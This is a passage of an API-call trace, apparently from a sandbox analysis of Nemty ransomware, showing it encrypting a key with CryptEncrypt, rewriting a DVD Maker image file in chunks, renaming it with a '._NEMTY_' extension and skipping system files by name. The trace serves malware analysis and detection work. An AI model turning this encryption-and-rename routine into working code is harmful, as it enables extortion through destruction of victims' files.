returned 38 [0079.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0079.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0079.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0079.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0079.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0079.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0079.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0079.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0079.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0079.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0079.108] Sleep (dwMilliseconds=0x5) [0079.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe2ce82b0, dwHighDateTime=0x1d561e7)) [0079.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe2ce82b0, dwHighDateTime=0x1d561e7)) [0079.121] GetLastError () returned 0x5 [0079.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0079.121] GetLastError () returned 0x5 [0079.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0079.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.121] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0079.121] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0079.122] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0079.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0079.122] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="Z/OPxPiBY9IIvOiU+8gah1vvfjU7dtLKVRtNO+jpPllEJCFx5JOFWWdygHmKFEDr\r\nJJlWmhJhjMKTT7sCz80OdHd5vIpoJBNs4+P2lv6lp+r8LHduQDKhVGsEVCTJVbmA\r\nDdJ4MCya3UpMX6aO2eWs97tXPq4EtB9+/pHd4KGbk87QxEHPrTXJCFXxBVw3JJsJ\r\naAsgpGjXlnHa8AeHQjyQLeNM4HRl9TpLDD8cBs/WtWbWxm9TtTnJ/HmgfNtOCWnI\r\nrC7jZxj8wYK9YAuQbfQ70rFG8w9cl2uYMuqtxnvEPraWq3JKNl7nnyf/aFprAjiY\r\nfrMxlUbUFU7zqFQFVKrEqw==\r\n", pcchString=0x653e91c) returned 1 [0079.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0079.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0079.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0079.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0079.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0079.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0079.122] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.122] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0079.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0079.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.200] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.225] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.225] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.231] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0079.232] CloseHandle (hObject=0xffffffff) returned 0 [0079.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0079.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0079.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0079.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0079.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0079.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63403f0 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0079.232] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0079.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.232] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.232] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0079.233] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0079.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0079.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0079.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0079.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0079.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0079.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0079.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0079.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0079.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0079.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0079.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0079.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0079.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0079.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0079.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0079.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0079.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0079.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0079.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0079.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0079.234] Sleep (dwMilliseconds=0x5) [0079.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe2e18db0, dwHighDateTime=0x1d561e7)) [0079.246] 